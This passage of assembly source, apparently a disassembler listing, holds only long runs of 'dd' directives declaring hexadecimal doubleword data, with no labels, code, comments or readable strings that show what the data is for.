		dd 2BCD9C54h, 7C8C3BBBh, 1D3EAB3Eh, 7A1F9F6Dh, 74236349h
		dd 2BA62664h, 0D3AED2A2h, 7FABB222h, 2D993751h,	7ADF2F15h
		dd 2B2B3698h, 0FF6DF6B6h, 79F6100Bh, 0E32F2043h, 0C74E4123h
		dd 78EA2C69h, 7CEF4A91h, 29176A11h, 797B0DCh, 0A0100CD8h
		dd 3DD193Ch, 0B41C3C3Bh, 0EA66C972h, 0E7613A2Eh, 3E962828h
		dd 3C763DFAh, 26803508h, 3A5F7416h, 4C3BC1B4h, 2DEC2B35h
		dd 0AD7DAE9Eh, 0A8085195h, 0E5172B1Ah, 183734FCh, 26509E2Bh
		dd 37286E5Fh, 1A943C8Ah, 85D8FAE6h, 3C3C3BFDh, 0A4443F28h
		dd 0E89C1D5Dh, 2DB3E1DEh, 3E276E76h, 6878286Dh,	334CC669h
		dd 1EDB0E62h, 7C136536h, 6F3834D1h, 183AD609h, 0F71E5914h
		dd 0DCDFEADCh, 727259Dh, 9328292Ah, 0A22E2D6Dh,	5716314Ch
		dd 531261B9h, 532292CBh, 0ED3E3C3Ch, 0F629471Ah, 20E622F8h
		dd 0AB1EA457h, 0C27E0459h, 1E6B7C12h, 8A3D7EA4h, 2FD57583h
		dd 4701F00Ch, 61CD6B21h, 145C07EFh, 2BA0A7F6h, 274EDCDFh
		dd 329AE5CEh, 0C57B23DAh, 1030DF86h, 6512F27Bh,	0FA30CF92h
		dd 4C20CB65h, 1331703Eh, 0AB1F111Dh, 2CE7A121h,	2260AF43h
		dd 68EC2A4Fh, 302D2209h, 35375830h, 3827365Fh, 3CC45238h
		dd 18553D3Dh, 4B971F76h, 230A2304h, 27271910h, 2B3FD62Bh
		dd 2E2CF148h, 0CDB1C1BBh, 3E43CA34h, 0FB316767h, 0FBBD3D67h
		dd 5A90DF0Bh, 213E1962h, 662D2733h, 0B600483Ah,	208D0AC3h
		dd 313E3310h, 35353017h, 0FB023057h, 1ACD2D4Fh,	1D2E037Fh
		dd 0E1A32F97h, 50E51826h, 4976D20Ah, 792ED56Fh,	45E12DDAh
		dd 71B52530h, 0C549BC60h, 393CD2B9h, 271FD7BDh,	405A5D7Ah
		dd 9EC28220h, 68D8A3DDh, 0E42FA9B8h, 772B8DD2h,	0B7C5013Dh
		dd 39370E35h, 74B0314Dh, 0DBBC3E39h, 0D69B5B18h, 0CB06D455h
		dd 6994E50Fh, 0C330C97Eh, 0D15E2DF5h, 3F7DBACFh, 3FD6F1B7h
		dd 0B0BB2DB3h, 1C010F59h, 9C38F44Ah, 0A6050A16h, 2FA5262Ah
		dd 0BC3D0966h, 3A0C717Ch, 1338B47Dh, 523CB259h,	7F3C31B3h
		dd 1E282E5Bh, 0E761E2Bh, 6164013Ch, 0CD742148h,	20E9FFF1h
		dd 24E83E02h, 0C239EF2Dh, 0C0BA5673h, 2730223Bh, 2B35F2B4h
		dd 103F7BB3h, 0DC2F1E75h, 76222263h, 0C7F5AACh,	0BA2BA30Dh
		dd 30035F2Dh, 343302A6h, 22D0DE31h, 286CC5C4h, 513D75D5h
		dd 6A971E0Ch, 6722AA07h, 0E1A51100h, 537C7924h,	2E332AC4h
		dd 34AC3028h, 0DC133457h, 183A3DBAh, 0BE36DDB5h, 1D1DBFDDh
		dd 6C146CAh, 4052D00h, 2309842Eh, 16D9460Bh, 0E5B7570h
		dd 1BEA02B0h, 3A203828h, 4FD1BD07h, 8175B15h, 0DE2CFF35h
		dd 25D86137h, 3CD77702h, 8C2C4BD2h, 0F140EF22h,	0B146B338h
		dd 313B37C1h, 3D9E6ED7h, 0FE1B9E12h, 0F1BB1EBFh, 2788F527h
		dd 0E4278727h, 8DCF2A8Bh, 308DEF2Dh, 3492CE1Bh,	64379483h
		dd 8F193959h, 4C94D73Dh, 9293E2E0h, 0DC8E81BCh,	2586CCDBh
		dd 7B2B9D88h, 7F2CB806h, 0B96230D4h, 9A221D36h,	0FB213D87h
		dd 2EFDF727h, 2B9DCE12h, 87D1EC22h, 0E24AE740h,	352D3723h
		dd 0BE29392Fh, 7BD6343Fh, 35E533AFh, 36C92947h,	9CD56D6Bh
		dd 546AA2B5h, 6852146Eh, 24C426E3h, 3228E766h, 23EC299Ah
		dd 35675F7Ch, 9D10BF33h, 36383836h, 323C343Ah, 1C14C03Eh
		dd 20101E12h, 242C222Eh, 2828262Ah, 230C2A26h, 3F2F212Dh
		dd 0A459FE31h, 3874A0B0h, 9D5F3B39h, 7F6F3A3Dh,	1F3B941Ch
		dd 0A8747024h, 53AF65D5h, 0F3C22D0Ch, 2F60930Dh, 1776F625h
		dd 675663AEh, 0D0713D6Ah, 74368796h, 0E561868h,	2A35631Fh
		dd 261246Eh, 7A2D420Bh,	9067C8C3h, 3232D726h, 3734347Eh
		dd 0D091B679h, 4BBB3F3Bh, 3E3412A4h, 25825114h,	1700A2Ah
		dd 0BB5E266Eh, 1D260228h, 3134062Ah, 7036AD37h,	0C99E23D3h
		dd 5A59593Bh, 89733FFEh, 0A07A127Ch, 2702E725h,	2920424Bh
		dd 3D09DA7Bh, 377F4344h, 51258299h, 555D4225h, 0AC1E1A49h
		dd 7427523Fh, 1FAE7A72h, 45207D10h, 53432543h, 662B295Bh
		dd 6C0E7B7Fh, 17F6B233h, 2B74F7B5h, 69F5B939h, 369A29D4h
		dd 15B93917h, 0CA21C11Bh, 36BAC694h, 0C2E678ACh, 2CCEBADFh
		dd 0FF31D2C3h, 0D7D1DC1Fh, 0E1379937h, 6A553D3Ah, 0A112BED6h
		dd 392EAC8Dh, 2B242AC2h, 0F63F5987h, 682C3457h,	5B3F26EAh
		dd 29F48634h, 2031B73Fh, 20B83138h, 0A9113DB9h,	201B0398h
		dd 2E23812Bh, 29A23BA5h, 262F8F3Dh, 0F6252713h,	2220D7E1h
		dd 35B93CB5h, 21FA2EDBh, 0F36E2DDDh, 0D50DF725h, 762BE125h
		dd 56B036C5h, 36EF0E69h, 2E5E7F7Dh, 33334080h, 0DFB5C571h
		dd 0B82A4D3Ah, 4A3DD53Ch, 3A49912Ah, 0A29E8447h, 2FCE2892h
		dd 9B5D2895h, 3A5D352Bh, 265EF01Ch, 158C2050h, 93AB837h
		dd 1A81B1FBh, 1112FB23h, 21C1B4EDh, 25B423E2h, 828AD425h
		dd 2DADA380h, 5F30AE56h, 0B45033B3h, 0B8629D36h, 3DBD713Ah
		dd 241BBE7Eh, 0CB51E9Ch, 258522A0h, 23E6E437h, 7E2A0BB5h
		dd 552FAE9Fh, 72321301h, 9D6B36B4h, 3C8D09F8h, 7A9F1308h
		dd 1F9E897Dh, 232D0C60h, 4720A526h, 0EBFE3CBCh,	30457228h
		dd 34322E30h, 3729352Bh, 7FB1392Dh, 3BF3918h, 371DD0F7h
		dd 5340507Eh, 9D3554C1h, 0D94468E6h, 6AB5A58Eh,	0A9110A8Eh
		dd 0A25B3476h, 0D6B807B7h, 8A3F3D77h, 9128182Eh, 0D43633Ah
		dd 261CEE26h, 0A22813ADh, 0D21DC52Bh, 31CCEF1Fh, 41D40B9Eh
		dd 34F7F631h, 0D6FB3A3Ah, 386704CAh, 0C16A1E39h, 250778AAh
		dd 0A32740CEh, 76A06125h, 30C42F31h, 35B836BAh,	1C73BFDDh
		dd 0FE5A2639h, 0F03E3E35h, 1B1E1DE2h, 0D176E5A1h, 2729DA24h
		dd 2B252927h, 2F212D23h, 333D313Fh, 38C9353Bh, 343A3638h
		dd 303E323Ch, 111D131Bh, 63212F1Fh, 0AD742424h,	0A537C32h
		dd 0A53D7A0Fh, 0D2B7BBDEh, 2EBDBF01h, 12408B6h,	7F3A40EAh
		dd 9D1CB9B6h, 0EFAB1995h, 1703410h, 23497702h, 0E300C33Eh
		dd 0D43A4F24h, 24E71B33h, 5412DF25h, 0AD6C396Bh, 3D0A4F2Bh
		dd 8911F631h, 24B22071h, 0C0332421h, 0C54A265Eh, 4EC73D3Eh
		dd 5221C2CFh, 156DDE31h, 5C5727ADh, 723CCFBAh, 0B0B1EE7h
		dd 2727520Ch, 583621D4h, 813A792Dh, 3D3E7C78h, 4336344Ah
		dd 32461B31h, 0F70D4095h, 3A6E1E8Ch, 4A184E3Bh,	12D8254Fh
		dd 697A1C14h, 2508E710h
		dd 212D232Bh, 323E0F2Fh, 363A343Ch, 1F783833h, 3F3D1A3Bh
		dd 3B0CA939h, 0AA801B58h, 76EC082Ch, 0B5A3E6A6h, 37EC2A3Eh
		dd 313469E9h, 87DC6436h, 353271D0h, 7C5ABBB1h, 145B3E36h
		dd 21E49D1Dh, 0E2A00654h, 0C0714E35h, 3C39A417h, 3A2D7D6Dh
		dd 26B2B321h, 69363678h, 93D39D1h, 17E38CFh, 0C9A0F6DBh
		dd 232D308Fh, 2729252Bh, 358A3CA0h, 28BEB805h, 2335A128h
		dd 0D60D0495h, 0ABFF11CEh, 0FA7F5423h, 0CE19385Fh, 3430001Fh
		dd 27375506h, 3F292C32h, 0DF7F2D2Bh, 0DA05317Fh, 0C700E482h
		dd 0AA9C0839h, 2B0DA93Bh, 0F550196Eh, 0A12EAF45h, 15FE9364h
		dd 0C9A1DF65h, 8DD3AE2Bh, 0B53F3762h, 0B6022433h, 7EA87A76h
		dd 0BD224AC3h, 70E4683Bh, 227F8608h, 44832241h,	7F67F525h
		dd 0C2F8A36h, 0D02E5F6Ah, 2C3CB2BAh, 3933368Ch,	0FC71AA3Dh
		dd 1EE2D615h, 0FF16187Dh, 33A90423h, 0ECE742Ah,	68ED2ACFh
		dd 2B13220Ch, 66A63180h, 0B46135C7h, 534E7DFBh,	6C2ECCE4h
		dd 9AEE8C79h, 88590689h, 0B53D84F0h, 6B842866h,	2E6CEB2Bh
		dd 3D169FD0h, 39353B33h, 35393737h, 50396939h, 6F29DB5Bh
		dd 454E6A71h, 6E1C2679h, 21A11D2Eh, 832633AAh, 5E306736h
		dd 40641346h, 4F4D4444h, 0BE6E7B53h, 10952E32h,	2CDF1A97h
		dd 28FA2B29h, 6F875676h, 6465765Ah, 6C4D62CBh, 6F3F3852h
		dd 727637D0h, 1265EE4Bh, 4145B62h, 4A1E161Ah, 0A63276A0h
		dd 6650C82Ch, 5FA12F9Ah, 782E2108h, 0CCCDCF8Fh,	3777B8CBh
		dd 8C3123Ah, 0B5EC0EF5h, 941C749Bh, 2AABDF4Fh, 0E70521E3h
		dd 0E02220C6h, 0D47D2D3Bh, 0F1F7B32Bh, 0CA7BBD33h, 3B395017h
		dd 3D6C395Bh, 1CFE8AEFh, 0A1231FB6h, 3BA4075Eh,	0B4AD282Ah
		dd 2ECD282Ah, 6D5837FEh, 0BD37DB0Ch, 0C283664h,	6F3FBF3Fh
		dd 9FE3A9AFh, 226BE1E2h, 26205353h, 384D4D50h, 3D1F2C41h
		dd 14265E2Eh, 46DB6266h, 1FD0FF6h, 5D503DEh, 217A0414h
		dd 25762749h, 18341BF0h, 1C1C1E0Bh, 105B127Fh, 14FA16B0h
		dd 0F310AC0h, 0B080906h, 7BA0577h, 39901AAh, 22A920B6h
		dd 1EE11CA6h, 1ACF18F9h, 172014D6h, 13161107h, 0F660D66h
		dd 6B76347Ah, 6A623C37h, 683D7569h, 40594F7Eh, 400E1C1Eh
		dd 44483A62h, 49581D48h, 652C6689h, 115F472Ch, 255D372Ah
		dd 39B80B71h, 3E3C0539h, 15FB0203h, 51F2EDCh, 7C110C13h
		dd 368623B4h, 2E378B66h, 502F5F0Dh, 74DB6231h, 0C7C8E594h
		dd 3CEEF960h, 1BED6FAEh, 0DE129091h, 214A8B23h,	254C705Eh
		dd 5F284D44h, 0ADAD2BCDh, 22670D35h, 37944D37h,	563B689Ch
		dd 6AFA3D9Eh, 667F1B8Ah, 265B121Bh, 22215007h, 112B4972h
		dd 5F792F39h, 0F85ED18Ah, 3EBE3E53h, 0EAB0AC46h, 5B0D253Ah
		dd 59C0BD7h, 0C92852BFh, 2F3442D7h, 165CE7A2h, 2E9D399Bh
		dd 37D82B7Eh, 3DBF2F12h, 1D21F6B5h, 179C29D2h, 1D4AFFBBh
		dd 0C8835A69h, 343F933Fh, 0F94DB726h, 9E28CFF5h, 82F3AF27h
		dd 0BAB939C1h, 0BE28E480h, 9EFF25E8h, 0C220EB34h, 0FF53170Ch
		dd 28D26931h, 264C26C5h, 67A62ADCh, 2CDEFD08h, 0F300ED90h
		dd 0CBB7E9F7h, 3A3AF5FCh, 3F31ACC3h, 1E121C14h,	2DDE2010h
		dd 29252B23h, 25292727h, 89982419h, 32939A2Fh, 61AA32E1h
		dd 5DAD9236h, 3E9AB538h, 6E1E1C41h, 498A1E49h, 22792385h
		dd 287F7524h, 782C896Dh, 560C3C6Dh, 35930233h, 22389010h
		dd 2D3C9C6Fh, 0BDD73F9Ch, 21481B1Dh, 82AE88DBh,	2880C925h
		dd 2EA933ABh, 32A80328h, 0B05F72CBh, 3AB7D937h,	0FE166281h
		dd 8F1992Eh, 1AA59CC9h,	49CB385Fh, 8F29E494h, 0FB4226EAh
		dd 0A4222923h, 0B33E36E5h, 35D63935h, 372A0134h, 61685EBDh
		dd 1FDD3B9Ah, 6C20E449h, 2F925E1h, 2AF8B227h, 0CD2DF9F7h
		dd 0FC31E18Ah, 351934E6h, 0EFF938E7h, 0EF48963Bh, 1DC9A93Fh
		dd 8520CEA0h, 227023F7h, 0BF28F722h, 0FC7C2BFFh, 0E465A72Eh
		dd 35E5AA32h, 0DB38E24Ch, 64503BEBh, 19303FEBh,	20CA34ECh
		dd 7423F355h, 16E554C7h, 2E2B7AB6h, 11763C67h, 76878736h
		dd 36E3717h, 0AE5D27DBh, 6A3F9F1Fh, 0B31CDC7Bh,	72340B9h
		dd 2787EF93h, 2B8BE56Ah, 0AEB722D1h, 31894936h,	0D9079496h
		dd 9F3B78F8h, 3AFF5B75h, 1C1D069Fh, 86250210h, 76334E20h
		dd 8223B72Dh, 5F110867h, 21C3F203h, 1F19700Fh, 0E4D13DF7h
		dd 9EAB617Ah, 684E4B48h, 58591A6Ah, 205E2227h, 7F82DF9h
		dd 7D3C9B40h, 344345C6h, 0E53739E6h, 48BE853Ch,	0FC80B53Fh
		dd 3D1E4B25h, 89CB1B64h, 2FF3AD26h, 2CE62954h, 61A02B48h
		dd 3219EED5h, 0BF3A520Dh, 0F534327Ch, 51C916D1h, 1ECF4FECh
		dd 951BED20h, 0E1A82131h, 3B53321Eh, 5F0AE9ACh,	2E7FA738h
		dd 326531F0h, 0B43840B4h, 0FCB93BF9h, 4A3E53CCh, 0F5DD2FFBh
		dd 6B158F2Bh, 41104516h, 5F1C4612h, 0AC18571Eh,	0A104BE1Ah
		dd 9600AF06h, 940C9D02h, 87088F0Eh, 0DB29DA0Ah,	2715CB2Bh
		dd 65122814h, 0A31E5710h, 0DE1AF21Ch, 78083719h, 6C0C620Ah
		dd 5000560Eh, 44044A02h, 9523BE06h, 0AD4FE1E2h,	25F306ADh
		dd 5C27B551h, 34C72AAAh, 54A6E2A6h, 64331615h, 0C7BA37DDh
		dd 7CBFFCC6h, 1B3C4E19h, 5B1E4E1Eh, 23202B40h, 63205560h
		dd 2BA60D8Ch, 0C77E2E9Ch, 331231EBh, 0F36050Ch,	0B36C397Dh
		dd 0D76A6B3Ch, 3A59DBE4h, 2220280Fh, 0E0A52520h, 2A650C63h
		dd 52C52D2Bh, 6FCECE78h, 69F3BF33h, 76B26369h, 5A093C1Fh
		dd 191C16B6h, 6124DB9Dh, 0D6623E1h, 0D7717BCEh,	2F97D42Ah
		dd 6DB92C2Eh, 0CA7C3316h, 3BE09323h, 0C23C6B3Bh, 18181B02h
		dd 3F25A106h, 4E233321h, 0A4F2EDAh, 488F8A9Ah, 302B2E8Ch
		dd 11BA5661h, 0D4B63235h, 225B763Bh, 0AFB4686Eh, 1F9D7938h
		dd 1F3A2121h, 3015CD72h, 0EC2A8808h, 2B4E09A8h,	7FDA3730h
		dd 5E54287Ah, 0E3B03A19h, 3866327Ch, 3D9E135Ah,	26232F54h
		dd 0E572CD2Ah, 22E8AB18h, 0B61C579h, 3131AB6Eh,	0B30B9EDAh
		dd 3BB9DC36h, 133CB90Bh, 3FB65D1Eh, 0F0561EBBh,	25F13722h
		dd 7B28F699h, 252CFE2Ch, 0C930FF2Ch, 60652437h,	0ECD237E7h
		dd 28C3555Bh, 0EC8C1E42h, 0D53D5F5Ch, 6C4B0054h, 0B4703D2Fh
		dd 2F4848C1h, 335BEDDCh, 19218EB2h, 7942772Dh, 809BA159h
		dd 1AF72BC2h, 0DA251FDFh, 563667A9h, 23084808h,	5B2E0909h
		dd 2FDDE92Ah, 32BE1F8Ch, 49BF0036h, 381A9105h, 0FC2AEE0Fh
		dd 3C4CC539h, 23D176F7h, 664B3147h, 0A3564934h,	0DEA62FFBh
		dd 0CD9E361Ah, 824A55CDh, 56A180B3h, 0CB071C3Fh, 18E60C3Ah
		dd 24DE2B64h, 0A33F43DAh, 0AA46B625h, 2DE91729h, 32309B2Dh
		dd 35ECDB07h, 2BB85FC9h, 0B6373B55h, 4CAA3FF6h,	289DF61Ch
		dd 0AF3792A2h, 0A87BAEDDh, 0FA1A2A09h, 0CB14D1D3h, 9233B63Eh
		dd 0FDB43535h, 3C2E506Dh, 19132DD5h, 0DB9D1C1Ch, 67AB25A0h
		dd 0E41D3500h, 672A30A8h, 0A427592Eh, 0B33DD9F8h, 0C8240D34h
		dd 0ECD23938h, 73B57D3Ch, 94251C3Fh, 467F7BDCh,	262529AAh
		dd 16EDAB23h, 3A2D3CE9h, 3239A02Eh, 8E3508FFh, 1A393937h
		dd 98D53E3Bh, 3D1C1902h, 5AC941Fh, 0A8282336h, 310C23A2h
		dd 7C7C2D2Ah, 35147BA3h, 6BB91512h, 0F6B3B76Eh,	0D55155B7h
		dd 3C1D7F55h, 0C8D4954Dh, 0E923C042h, 0C97C00CDh, 0C40ACA29h
		dd 582E2F7Fh, 645033A5h, 0AC04DE13h, 78B1C5C4h,	841FA9B3h
		dd 0BF869B96h, 4B6A7020h, 0B006B9E1h, 7AEBA6C0h, 2FB72DBAh
		dd 0D33A59A0h, 0D28637B1h
		dd 0F3813159h, 0DA2E2539h, 0DE1F993Fh, 0A769823Dh, 8B242421h
		dd 0AA3E2DC7h, 386C812Bh, 0D731D030h, 3270BC35h, 6F3BBD77h
		dd 0BB85211Bh, 1BDD733Dh, 5E209E7Eh, 5234229h, 2DEDA036h
		dd 3C282B2Ch, 293E93CEh, 2D378DF4h, 0CB8EC5Dh, 1D5D2339h
		dd 91552E3Fh, 3A5E11CDh, 8DFBA835h, 2BD7A31Dh, 1AC2E9A3h
		dd 1E0DBEE0h, 2493C124h, 0D0273803h, 34D9201Fh,	0A757067Dh
		dd 0F74C1F6Dh, 2BC0728Ah, 1E2ECC28h, 6BF421CCh,	6A7E2E6Ch
		dd 30737C33h, 9D357076h, 0F3978AEh, 7EE13E79h, 1D583A18h
		dd 622A084Bh, 25603C20h, 712A6956h, 2D69BE81h, 7F3271B0h
		dd 77F83776h, 7F061234h, 3D7CC738h, 341F5E0Eh, 22604A12h
		dd 72276601h, 6C3D2467h, 4FB8C37Ah, 582EFB69h, 37841CDAh
		dd 0A4BC3A17h, 8D1E3E1Ah, 0DA0F173Eh, 4B57500Eh, 26215265h
		dd 3CD76ECDh, 695E0278h, 30DF2B1Ah, 77082BAh, 4EE90DC3h
		dd 8AB3D47h, 0AAE287Ch,	1FBF0DCCh, 0EF62A90h, 5923795h
		dd 0FB578932h, 276E5E36h, 31E23B55h, 7673634h, 2B4A8543h
		dd 0C6C367Ch, 52F51D7Ah, 87452ABDh, 87600929h, 2089BE2Dh
		dd 9EABA67Bh, 62BB6225h, 56BC3E97h, 22FDBB35h, 6DFB35E1h
		dd 14C912E0h, 61C2F76Bh, 132DF224h, 4368E67Eh, 426CEA06h
		dd 7518396Ch, 0BE877224h, 0AFEBB697h, 0BB3F3B88h, 0A12197Eh
		dd 3CEBB049h, 3D23314Fh, 1464A421h, 2268AB7Ch, 3417362Fh
		dd 2C333429h, 0D3F5831Fh, 0F479FC6Fh, 0CBAFCBCh, 75098C4Ch
		dd 2B342133h, 73252516h, 2B192959h, 5E4C6F2Fh, 30320530h
		dd 2364444h, 45393930h,	3F083D4Dh, 6F3C9018h, 2121171Fh
		dd 1E2555B9h, 822AAC27h, 2E142C5Ah, 3240862Ch, 35350E23h
		dd 13949F3h, 0ECA73F3Bh, 1C251B4Fh, 13DBF01h, 0D398A38Dh
		dd 0E933FF26h, 0CDAF7575h, 33653E2Dh, 0B55E3558h, 92DC8BEh
		dd 0AAECE738h, 0E3E5BCCEh, 65099A12h, 24A11C91h, 1B27A619h
		dd 0AB3B42E0h, 50A62D2Dh, 70F45404h, 0B8271299h, 283B8A84h
		dd 2B273E0Dh, 0E0024D1Ch, 0CFA3212Fh, 2963604h,	59466B7Ah
		dd 70253F4Eh, 79E2BA6Eh, 903A1235h, 64374C2Ah, 467935FCh
		dd 6F058C1Ah, 15C9521Eh, 0F8512741h, 0EE1C7B7Bh, 9E423D24h
		dd 1F311C3Fh, 57A824B3h, 2A9B7837h, 83C091Ah, 1D4C1F3Fh
		dd 16B02849h, 0C6241493h, 19103311h, 2D146812h,	9AD1764h
		dd 0C2C0BCEh, 0B011C36h, 0D905BE03h, 1D1B3F07h,	3A250D27h
		dd 1E234F1Bh, 12CF1CE9h, 2C2910D2h, 85147B16h, 3B08E30Ah
		dd 4150A35h, 780605h, 6B033E6Ah, 1E2F1562h, 44E02322h
		dd 0AA737628h, 7EB20D47h, 49EF99C4h, 7477403h, 2B363F84h
		dd 6B3E76B3h, 0BD2BC26Dh, 0DEA24D17h, 9974356Ah, 0CE2D2E83h
		dd 6C8DCE0Ch, 70727776h, 0BB64F3AFh, 2EDD1C44h,	6587391Dh
		dd 35E2312Dh, 7D1B059Ch, 140B418h, 8FF70ED1h, 2A0E6C95h
		dd 0AB640D6Bh, 36B02729h, 32B85C84h, 0B1AF1AD1h, 39245A3Dh
		dd 1071021Fh, 0A016199Bh, 23AF1126h, 397C0BC2h,	7AA62DA9h
		dd 6202EE44h, 0F479D5D9h, 0D8B11BD5h, 9DBEB214h, 1BCEB56Bh
		dd 0F7FA2586h, 4B80A19Fh, 25E62520h, 2923292Ah,	4F87AD6Ch
		dd 0EEDA3530h, 0FBB6741Bh, 0E3962CC7h, 1FEABC3Eh, 1E89F437h
		dd 468FA00Bh, 277D9AA3h, 2A6FC033h, 2BED7C41h, 330DD813h
		dd 12713671h, 0CBD501Fh, 19A1DC82h, 193C003Bh, 61237CCDh
		dd 8524AB2Bh, 1EA9B16Dh, 0C4F4E28h, 171CB21h, 2E543EDAh
		dd 0E8529136h, 19B0387Eh, 0E4A69FB2h, 229F13DDh, 71027703h
		dd 0A570271h, 40796278h, 140F92C5h, 548A6B55h, 286E565Fh
		dd 3DC73E98h, 19FF4234h, 7E4BFA19h, 2E43A12Dh, 432B44DAh
		dd 926B2D69h, 0FE2B2DACh, 32F13290h, 16992F16h,	3AF87C39h
		dd 3A395D5Ah, 1FD80400h, 2BC1718Dh, 0E3070E26h,	2D482D26h
		dd 376C8900h, 9D137187h, 5E34F426h, 7AB93B37h, 3E3D643Fh
		dd 542C3F3Ch, 1B10A52Eh, 14CD1222h, 1D94155Ah, 9B192B5Ah
		dd 2D05DD1Bh, 3740A04h,	450157h, 44493B6Fh, 26A3053Eh
		dd 1AC524C8h, 251922D0h, 0B81C661Eh, 172BE312h,	0C3615D4h
		dd 344A0E60h, 0C940251h, 8EF0EFAh, 2EE70BA4h, 293C2B1Fh
		dd 15681713h, 11B413A8h, 1DDA1F9Dh, 181C1A0Ah, 0B3106D3h
		dd 0F9F0D20h, 3C101D8h,	67C0433h, 27692578h, 1BEB19B5h
		dd 1CB71E4Fh, 10E51297h, 15DE17B8h, 0EAF0C66h, 16EE8466h
		dd 8CD2F09h, 22DBA2Ch, 0D170B28h, 4039774Eh, 22352220h
		dd 0DF2B4F73h, 2F2C2B9Dh, 6D25D0AEh, 343431E5h,	0B43071BDh
		dd 3D241F76h, 0F83FABB3h, 711D1E1Bh, 6FA921h, 284D7431h
		dd 3C2B2B28h, 0E3D07F7Dh, 3E42E327h, 994712B9h,	687BF22Dh
		dd 2D013495h, 560117B8h, 106D2B4Fh, 0CF6D1666h,	21486CEEh
		dd 0C76205CBh, 53346952h, 0A6E6273Eh, 0D163AF63h, 25D67028h
		dd 711770B2h, 6682493h,	0C6B72E18h, 63265F27h, 243A2634h
		dd 3E67BB2Bh, 0BD35E418h, 38C3F9F9h, 3CD56C69h,	901FBBD5h
		dd 2020825Ah, 0ACEA23A9h, 95C02B60h, 0D22CD4A8h, 5FB9E82Dh
		dd 35B96C36h, 3838B27Ah, 633475B3h, 0DE40626Eh,	7C1EFE11h
		dd 20F32A11h, 2B77F50Eh, 6358FD12h, 0B52E2E69h,	173346F1h
		dd 7C1342B8h, 3C6A35B2h, 872AC16Dh, 9C1F1FC6h, 0A62AE520h
		dd 0C1A22AE4h, 0A0292928h, 0E9AD296Ah, 0F0320A34h, 20BDD441h
		dd 1B1E7DB5h, 3566F10h,	4E791C5Ah, 275520F7h, 0E2A6DBDDh
		dd 6629A52Bh, 0CEEA2E1Bh, 0F33AE061h, 0B436F700h, 38151973h
		dd 7D17C3ACh, 0B0C09BEh, 0A22AFDDFh, 2EF6D430h,	3F08F72Ch
		dd 91100B7Eh, 0B5138839h, 27F598A6h, 36DFF627h,	0ED9C5058h
		dd 0E610E8C9h, 202F0D1Fh, 841A3232h, 0A246DAB6h, 2F1DD91Fh
		dd 7171D15h, 9B0B6E09h,	770FC90Dh, 6502A500h, 0DB058807h
		dd 0FD24DB26h, 31192A1Ah, 631D1A1Fh, 0B9114213h, 9A15B417h
		dd 3F09C10Bh, 0D0A0608h, 47066404h, 0DB02F500h,	44200D27h
		dd 0A31C4722h, 0B318A91Eh, 77132A77h, 0C2829ABh, 0D26A1361h
		dd 42C5BF36h, 3BA96B60h, 8E3CAC78h, 0E353BB3Ch,	26E0DD18h
		dd 730C2BE2h, 0A9C07773h, 0D2D1EDF4h, 0F4C8A478h, 0BE10F37Eh
		dd 646769F1h, 3D3334C5h, 0AC17CF3Dh, 55D69A11h,	259B6320h
		dd 0C011278Dh, 2D8B6B2Bh, 560FEAAEh, 10238608h,	78343681h
		dd 224E2D3Bh, 3C2F56BDh, 0F7761F1Ch, 0E2330800h, 3BCE242Dh
		dd 0A2222D4Ah, 2B6F0CA8h, 6564305Ah, 345C32F5h,	3B38532Ch
		dd 0B0DE591Dh, 1D7909E4h, 0F5814DDFh, 0E798EACDh, 0EBD228ACh
		dd 0C5EC3ACCh, 0C9313B25h, 0CC36EEB8h, 381D44BEh, 5E453C5Bh
		dd 0E43FCCC8h, 81211E3Dh, 26DF280Eh, 2874ACDBh,	0A0C77F2Ah
		dd 3E9F17AAh, 0BEC1334Eh, 20D7F6CEh, 3A3CDBFBh,	0E718C735h
		dd 0A03CD996h, 307146E9h, 4B644E75h, 0AA41EB55h, 33BF2EA2h
		dd 742BF6B2h, 7975B225h, 53BB7E08h, 0F3F2333Ch,	4FAA9DE7h
		dd 2188C974h, 24E62DABh, 4329E8C3h, 3BAAC5B6h, 0F426B04Bh
		dd 0B36464F9h, 0BB131F2Ch, 0D62D7D28h, 403E1CE3h, 66132877h
		dd 2E4D2523h, 2A192927h, 2E9FC433h, 0F6B2102Ch,	36199517h
		dd 3A09B357h, 0BEB149B2h, 27693901h, 3120591Ch,	0E61E25A8h
		dd 15782352h, 2CDE5E08h, 15382B0Ah, 0C7423312h,	0B4E86ABFh
		dd 3D3D9F7Fh, 1ECCE39Eh, 43F494Dh, 48420391h, 33743307h
		dd 44582F71h, 30ED09ECh, 4724E20Bh, 4AE1D676h, 53494D3Fh
		dd 6C24FA49h, 5E03AD9Fh
		dd 70212121h, 21D57F6Dh, 7F6E6438h, 7D2EAF61h, 7CB8657Eh
		dd 0E47035B0h, 777F7D18h, 6E363F0Fh, 1F09384Fh,	0CAA57207h
		dd 53492693h, 2D7777E9h, 2E2B2FC5h, 6160B032h, 0CFBE6365h
		dd 36BA3816h, 3F3C3C51h, 1DF43B55h, 0DEDEA536h,	24CCEBA9h
		dd 0A27E2727h, 1BC47DDAh, 0CEB0D1EBh, 0DDECB864h, 36388291h
		dd 0D56D332Ah, 0FC6B1FFBh, 0AE80531Eh, 617C62B8h, 0A5304BAh
		dd 2E6BACC1h, 0D80E6DF4h, 0BF4BB738h, 0A5B326A8h, 0A330A03Ch
		dd 130C2E2Ah, 4F1A5A1Ch, 0E8F8C971h, 1C2E0307h,	0EA2C2115h
		dd 2AD19E0Ch, 37945231h, 0F43275BFh, 5439F90Bh,	0BE963D9Fh
		dd 59CD92DAh, 9E21E51Bh, 0D07124E3h, 0C029EC4Fh, 0EEC52CEBh
		dd 22D5882Fh, 9533F539h, 0E13FF7F7h, 94740C3Dh,	0A8791A33h
		dd 0C3161B0Bh, 25C18422h, 29CA438Ch, 0BF2CCEB3h, 20BB2FCCh
		dd 275C8934h, 3F277130h, 0BE6E3B54h, 971B27FAh,	710F3A51h
		dd 0A423B8C8h, 1A68AB26h, 2D90DFC1h, 0D8E4264Bh, 0B17C32C6h
		dd 3AB239F5h, 682D3AB1h, 5FB62619h, 4D061D38h, 22223848h
		dd 26B62526h, 2A524178h, 2F2C4575h, 77F531ECh, 37B67D10h
		dd 7B82FAE8h, 303B6CC2h, 8041944h, 2B550E35h, 5E2D5505h
		dd 0E4F72B35h, 4C2E39FCh, 8230B1BFh, 0B0F335B1h, 6E2A1136h
		dd 30FB44D5h, 791CB9DCh, 0AAF81FBFh, 20D42383h,	852855F6h
		dd 2D5EE3C3h, 0F1D9F306h, 458C3246h, 5675C836h,	3D330515h
		dd 1C143F31h, 20101E12h, 2BDC222Eh, 27272925h, 232B2529h
